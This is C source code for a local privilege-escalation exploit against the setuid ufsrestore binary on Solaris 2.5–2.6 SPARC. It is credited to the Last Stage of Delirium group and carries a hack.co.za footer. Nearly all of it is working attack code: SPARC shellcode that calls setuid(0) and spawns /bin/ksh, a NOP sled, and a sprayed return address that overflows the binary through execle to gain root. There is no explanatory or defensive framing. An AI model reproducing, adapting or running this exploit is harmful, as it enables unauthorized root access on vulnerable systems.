/usr/lib/fs/ufs/ufsrestore local root exploit for solaris 2.5 2.5.1 2.6 sparc.
80467df9fca55b2f287adf6301e0f2398b11ef06b61616b6dc7f7caa4a2c78f0
/*## copyright LAST STAGE OF DELIRIUM dec 1997 poland *://lsd-pl.net/ #*/
/*## /usr/lib/fs/ufs/ufsrestore #*/
#define NOPNUM 5000
#define ADRNUM 400
#define ALLIGN 2
char setuidcode[]=
"\x90\x08\x3f\xff" /* and %g0,-1,%o0 */
"\x82\x10\x20\x17" /* mov 0x17,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
;
char shellcode[]=
"\x20\xbf\xff\xff" /* bn,a <shellcode-4> */
"\x20\xbf\xff\xff" /* bn,a <shellcode> */
"\x7f\xff\xff\xff" /* call <shellcode+4> */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0xb,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh"
;
char jump[]=
"\x81\xc3\xe0\x08" /* jmp %o7+8 */
"\x90\x10\x00\x0e" /* mov %sp,%o0 */
;
static char nop[]="\x80\x1c\x40\x11";
main(int argc,char **argv){
char buffer[10000],adr[4],*b,*envp[2];
int i;
printf("copyright LAST STAGE OF DELIRIUM dec 1997 poland //lsd-pl.net/\n");
printf("/usr/lib/fs/ufs/ufsrestore for solaris 2.5 2.5.1 2.6 sparc\n\n");
*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+6000+2000;
envp[0]=&buffer[0];
envp[1]=0;
b=&buffer[0];
sprintf(b,"xxx=");
b+=4;
for(i=0;i<ALLIGN;i++) *b++=0xff;
for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
for(i=0;i<strlen(setuidcode);i++) *b++=setuidcode[i];
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
*b=0;
b=&buffer[6000];
for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
*b=0;
execle("/usr/lib/fs/ufs/ufsrestore",&buffer[6000],"if","-",0,envp);
}
/* www.hack.co.za [4 August 2000]*/